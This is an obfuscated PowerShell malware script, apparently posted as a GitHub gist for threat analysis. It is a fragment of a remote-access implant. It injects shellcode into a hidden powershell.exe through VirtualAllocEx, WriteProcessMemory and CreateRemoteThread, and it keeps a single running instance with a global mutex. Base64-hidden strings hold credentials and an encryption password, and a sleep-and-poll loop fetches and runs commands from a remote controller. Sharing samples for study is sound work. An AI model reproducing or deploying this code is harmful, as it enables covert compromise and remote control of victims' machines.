${___/\/\_/=\/=\/\_} = ${_/\_/\_/=\__/\___}.Invoke(${_/\/===\____/=\_/}, [IntPtr]::Zero, 0, ${___/==\_/==\/==\_}, ${_/\/\__/\_/\_/\/\}, 0, [IntPtr]::Zero)
if (!${___/\/\_/=\/=\/\_}) {
}
${_/\/\_/=\_/=\/=\/}.Invoke(${_/\/===\____/=\_/}) | Out-Null
}
${___/\/=\/\/\/\/=\} = __/\__/\_/=\/=\/== kernel32.dll IsWow64Process
${/==\/\/\/\/\_/=\_} = $null
try {
${/==\/\/\/\/\_/=\_} = @(Get-WmiObject -Query $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBFAEwARQBDAFQAIABBAGQAZAByAGUAcwBzAFcAaQBkAHQAaAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgA='))))[0] | Select-Object -ExpandProperty AddressWidth
} catch {
Throw
}
switch (${/==\/\/\/\/\_/=\_}) {
'32' {
${_/\___/=\_/\_/\/\} = $False
}
'64' {
${_/\___/=\_/\_/\/\} = $True
${_/=\/\_/=\_/\/\/=} = _/=\_/====\/\_/=\/ @([IntPtr], [Bool].MakeByRefType()) ([Bool])
${/====\/\__/=\_/\_} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${___/\/=\/\/\/\/=\}, ${_/=\/\_/=\_/\/\/=})
}
default {
Throw
}
}
If ([IntPtr]::Size -eq 4) {
${___/\_/===\__/\_/} = $true
} Else {
${___/\_/===\__/\_/} = $false
}
${__/=====\/\/\___/} = __/\__/\_/=\/=\/== kernel32.dll OpenProcess
${_/=\/==\/==\___/\} = _/=\_/====\/\_/=\/ @([UInt32], [Bool], [UInt32]) ([IntPtr])
${/==\/\_/\____/\_/} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${__/=====\/\/\___/}, ${_/=\/==\/==\___/\})
${/=========\/\/\__} = __/\__/\_/=\/=\/== kernel32.dll VirtualAllocEx
${_/=\__/\/\_/\__/=} = _/=\_/====\/\_/=\/ @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
${_/\___/=\/\/=====} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/=========\/\/\__}, ${_/=\__/\/\_/\__/=})
${/===\/===\__/=\_/} = __/\__/\_/=\/=\/== kernel32.dll WriteProcessMemory
${/=\/=\_/=\__/\/=\} = _/=\_/====\/\_/=\/ @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
${_/=\/\_____/====\} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/===\/===\__/=\_/}, ${/=\/=\_/=\__/\/=\})
${/==\_/==\_____/\_} = __/\__/\_/=\/=\/== kernel32.dll CreateRemoteThread
${/=====\/=\_/\_/=\} = _/=\_/====\/\_/=\/ @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
${_/\_/\_/=\__/\___} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/==\_/==\_____/\_}, ${/=====\/=\_/\_/=\})
${/==\__/=\/\___/==} = __/\__/\_/=\/=\/== kernel32.dll CloseHandle
${/===\__/\____/===} = _/=\_/====\/\_/=\/ @([IntPtr]) ([Bool])
${_/\/\_/=\_/=\/=\/} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/==\__/=\/\___/==}, ${/===\__/\____/===})
____/==\/\/\_/=\__ ${____/===\/===\_/=\}
}
Function _/==\/=\/===\_/==\ {
Param (
[Parameter(Mandatory=$true)]
[Byte[]] ${___/=\_/\/=\/\/\/\},
[ValidateSet('x86','x64')]
[string] ${_/\_____/=\_/\_/\/},
[Parameter(Mandatory=$true)]
[ref] $Output
)
Process {
$Output.Value = 0
${__/\_/\/=\__/===\} = If ([Environment]::Is64BitOperatingSystem) {$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))} Else {$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAAzADIA')))}
${/=\/\/\/===\__/\/} = If ([Environment]::Is64BitProcess) {$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))} Else {$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAAzADIA')))}
${_/=======\/\/==\_} = $null
${/==\_/===\/===\/=} = $ENV:SystemRoot + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAA==')))
${_/=\_/\____/===\_} = $ENV:SystemRoot + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABTAHkAcwBXAE8AVwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAA==')))
If (${__/\_/\/=\__/===\} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))) {
If (${/=\/\/\/===\__/\/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))) {
If (${_/\_____/=\_/\_/\/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA2ADQA')))) {
${_/=======\/\/==\_} = Start-Process -FilePath ${/==\_/===\/===\/=} -Passthru -WindowStyle Hidden
} Else {
${_/=======\/\/==\_} = Start-Process -FilePath ${_/=\_/\____/===\_} -Passthru -WindowStyle Hidden
}
} Else {
If (${_/\_____/=\_/\_/\/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA4ADYA')))) {
${_/=======\/\/==\_} = Start-Process -FilePath ${_/=\_/\____/===\_} -Passthru -WindowStyle Hidden
}
}
} Else {
If (${_/\_____/=\_/\_/\/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAA4ADYA')))) {
${_/=======\/\/==\_} = Start-Process -FilePath ${/==\_/===\/===\/=} -Passthru -WindowStyle Hidden
}
}
If (${_/=======\/\/==\_}) {
Try {
_/=\__/==\/==\/=\/ -____/===\/===\_/=\ ${_/=======\/\/==\_}.Id -_/\_____/=\_/\_/\/ ${_/\_____/=\_/\_/\/} -___/=\_/\/=\/\/\/\ ${___/=\_/\/=\/\/\/\}
$Output.Value = ${_/=======\/\/==\_}.Id
} Catch {
}
} Else {
}
Return
}
}
Function __/\/\/\_/\_/\__/= {
Param (
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[UInt32] ${____/===\/===\_/=\}
)
Process {
Try {
Stop-Process -Id ${____/===\/===\_/=\}
} Catch {
}
Return
}
}
${_/\__/\/\/\_/=\__} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQBsAF8AcABoAF8AcwBpAG0AXwAyADAAMQA2ADIA')))
${_/\/\/\_/=\__/\/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBUADAAbwBFAHAAMwBFAEIAbQBiAEMAcgBqAHkARgBXADMAeABGAFYAcwBBAFYAQgA=')))
${_/\/======\/=\_/\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UQBvAGMARAB6AE4AbgByAFMAVgByAEwAdABKAHUAOABiADgAbQB4ADAAOABWAGoAdABRAEUAcABMAGgAcgB5AFkARwBjAGUAVwByAHcANgA1AEQANQA3AFoAaAAyAFUARABKAA==')))
${/===\/\/\_/\_/===} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('OAAwADYAMQAzADgANwA3ADUAMwA5ADAANwA5ADcAOAAyADQALQBtAFkAWABCAFMAaABCAFIAZQBvAG0AcgBRAE8AZQBCAEoAbwBuAEwAUwB4AGMAbwBFAGoAMwBpAHUARwBwAA==')))
${/=\/==\_/\__/\_/\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBLAGUAdAB1AGQANQBuADIAVgBIADAAcAA5AG8AMABnAG0ARQAxAG4AdwB3AEwAbQBIADUAbgBqAHEAVgBMAFMAeQBZAEEAOQA3AHkAWABPAEwASQA0AFgA')))
${/=\/\/\_/=====\__} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwBNAEwAXwBDAEgAXwBQAEEAUwBTAF8ARgBPAFIAXwBFAE4AQwBSAFkAUABUAEkATwBOAF8A')))
${/=\_/\/==\__/==\/} = $null
$null = _/======\/\_/=\_/\ -Output ([ref]${/=\_/\/==\__/==\/})
${__/====\____/\__/} = $true
$null = __/===\__/=\_/=\/= -______/==\_/\____/ ${_/\__/\/\/\_/=\__} -_____/====\____/\/ ${_/\/\/\_/=\__/\/=} -____/\______/\___/ ${_/\/======\/=\_/\} -_/==\/===\___/==\/ ${/===\/\/\_/\_/===} -__/\_/\/=\/\/\/==\ ${/=\/==\_/\__/\_/\}
${__/\__/=\___/=\/=\} = 749835523401932800
${___/=\/\/=\_/\_/\} = 900
${__/=\/\_/==\/====} = 45
${____/\/\_/\_/\_/=} = Get-Date
${___/\_/\/\/\/\/\/} = ${___/=\/\/=\_/\_/\} / ${__/=\/\_/==\/====}
${__/\/=\__/\/\/===} = New-Object System.Collections.Queue
${/==\_/\__/==\/=\_} = New-Object System.Collections.Queue
${__/==\/=\___/\/==} = New-Object System.Collections.ArrayList
${__/=\/=\_/\/==\__} = 2
${_/=====\/\__/=\/=} = 0
${/==\_/\/==\/\__/=} = 1
${___/\/\__/\_/=\_/\} = $null
${_______/\/\_/=====} = ""
${_____/\/\/==\___/\} = 0
${__/\___/\_/===\/\} = $null
${/=\______/\/\/=\/} = $false
${___/======\__/=\/} = $Null
${_/=====\__/\/=\/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBsAG8AYgBhAGwAXABmADUANQBhADUAZgBmADgAOAAzADcAYQA5AGIAZgAxADUAMwBiAGEAZAA3ADkAMgA1AGQANwA0ADkAZgA2ADQA')))
Try {
${___/======\__/=\/} = [System.Threading.Mutex]::OpenExisting(${_/=====\__/\/=\/=})
} Catch {
${___/======\__/=\/} = New-Object System.Threading.Mutex($true, ${_/=====\__/\/=\/=}, [ref]${/=\______/\/\/=\/})
}
If (!${/=\______/\/\/=\/}) {
Exit
}
While ($true) {
Try {
${_/\/\/===\___/\__} = $null
$null = __/=\_/====\______ -Output ([ref]${_/\/\/===\___/\__})
If (${_/\/\/===\___/\__}) {
If (${__/====\____/\__/}) {
${_/\___/\/==\___/\} = $null
$null = ___/=\_/====\/\___ -Password ${/=\/\/\_/=====\__} -Output ([ref]${_/\___/\/==\___/\})
Try {
$output = $null
$null = __/\_/==\_/\/\_/=\ -__/==\/====\_/\/=\ ${_/\___/\/==\___/\} -Output ([ref]$output)
${__/====\____/\__/} = $false
} Catch { Throw }
}
${_/=\/\/\___/=\/=\} = Get-Date
${_/\___/\/=\/=\_/\} = (${_/=\/\/\___/=\/=\} - ${____/\/\_/\_/\_/=}).Seconds
If (${_/\___/\/=\/=\_/\} -lt ${___/\_/\/\/\/\/\/}) {
${_/\__/===\____/\_} = [int][Math]::Ceiling(${___/\_/\/\/\/\/\/} - ${_/\___/\/=\/=\_/\})
Start-sleep -s ${_/\__/===\____/\_}
}
If (${_/=====\/\__/=\/=} -lt (${/==\_/\/==\/\__/=} * ${__/=\/=\_/\/==\__})) {
If (${/==\_/\__/==\/=\_}.Count -gt 0) {
${_/\___/\/==\___/\} = ${/==\_/\__/==\/=\_}.Dequeue()
Try {
${_/\/\/\/===\/\___} = $null
$null = __/\_/==\_/\/\_/=\ -__/==\/====\_/\/=\ ${_/\___/\/==\___/\} -Output ([ref]${_/\/\/\/===\/\___})
} Catch {
${/==\_/\__/==\/=\_}.Enqueue(${_/\___/\/==\___/\})
Throw
}
}
${____/\/\_/\_/\_/=} = Get-Date
++${_/=====\/\__/=\/=}
} Else {
Try {
${__/\___/\_/===\/\} = $null
$null = ___/\_____/\/=\___ -__/\__/=\___/=\/=\ ${__/\__/=\___/=\/=\} -Output ([ref]${__/\___/\_/===\/\})
} Catch {
Throw
}
${____/\/\_/\_/\_/=} = Get-Date
${/==\___/===\/=\/=} = New-Object System.Collections.ArrayList
$null = __/=\__/\/==\/\__/ -____/\__/\/==\_/=\ ${__/\___/\_/===\/\} -Output ${/==\___/===\/=\/=}
${__/\___/\_/===\/\} = ""
$null = _/=\__/==\/==\__/= -__/=\/\__/====\/=\ ${/==\___/===\/=\/=} -Output ([ref]${__/\__/=\___/=\/=\})
${__/==\/=\___/\/==}.AddRange(${/==\___/===\/=\/=})
If (${__/==\/=\___/\/==}) {
${/==\___/==\/=\__/} = New-Object System.Collections.ArrayList
$null = __/\_/\/=\/=\_/=\_ -__/=\/\__/====\/=\ ${__/==\/=\___/\/==} -TargetID ${/=\_/\/==\__/==\/} -Password ${/=\/\/\_/=====\__} -Output ${/==\___/==\/=\__/}
If ($NewCommandList) {
${_/\______/\/\_/\_} = ${/==\___/==\/=\__/} | Sort-Object @{Expression={$_.RequestID}; Ascending=$true}
${/==\___/==\/=\__/}.Clear()
${/==\___/==\/=\__/}.AddRange(${_/\______/\/\_/\_})
}
}
If (${/==\___/==\/=\__/}.Count -gt 0) {
Foreach (${/=\/=\/\/===\/\_/} in ${/==\___/==\/=\__/}) {
${__/\/=\__/\/\/===}.Enqueue(${/=\/=\/\/===\/\_/})
}
${/==\___/==\/=\__/}.Clear()
}
++${/==\_/\/==\/\__/=}
}
} Else {
}
${_/=\/\/\___/=\/=\} = Get-Date
If (${__/\/=\__/\/\/===}.Count -gt 0) {
While (${__/\/=\__/\/\/===}.Count -gt 0) {
$Command = ${__/\/=\__/\/\/===}.Dequeue()
${/=\/\/\/\___/\/==} = 0
${_/=\/\/=\__/\___/=} = $null
${_/=\_/\_/\__/\/=\/} = ""
_/==\_/\/\/===\/\_ -__/\_/==\__/=\___/ $Command -____/\_/==\/==\/\/ ${/==\_/\__/==\/=\_} -Password ${/=\/\/\_/=====\__} -_____/\/\/==\___/\ ${_____/\/\/==\___/\} -___/\/\__/\_/=\_/\ ${___/\/\__/\_/=\_/\} -_______/\/\_/===== ${_______/\/\_/=====} -__/=======\__/\_/\ ([ref]${/=\/\/\/\___/\/==}) -_/=\/\/=\__/\___/= ([ref]${_/=\/\/=\__/\___/=}) -_/=\_/\_/\__/\/=\/ ([ref]${_/=\_/\_/\__/\/=\/})
If (${/=\/\/\/\___/\/==} -ne 0) {
${___/\/\__/\_/=\_/\} = ${_/=\/\/=\__/\___/=}
${_______/\/\_/=====} = ${_/=\_/\_/\__/\/=\/}
${_____/\/\/==\___/\} = ${/=\/\/\/\___/\/==}
}
}
}
} Catch {
${____/=\_/=\/=\/=\} = $_.Exception
Start-Sleep -s 10
}
}
# Uploaded by @JohnLaTwC
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment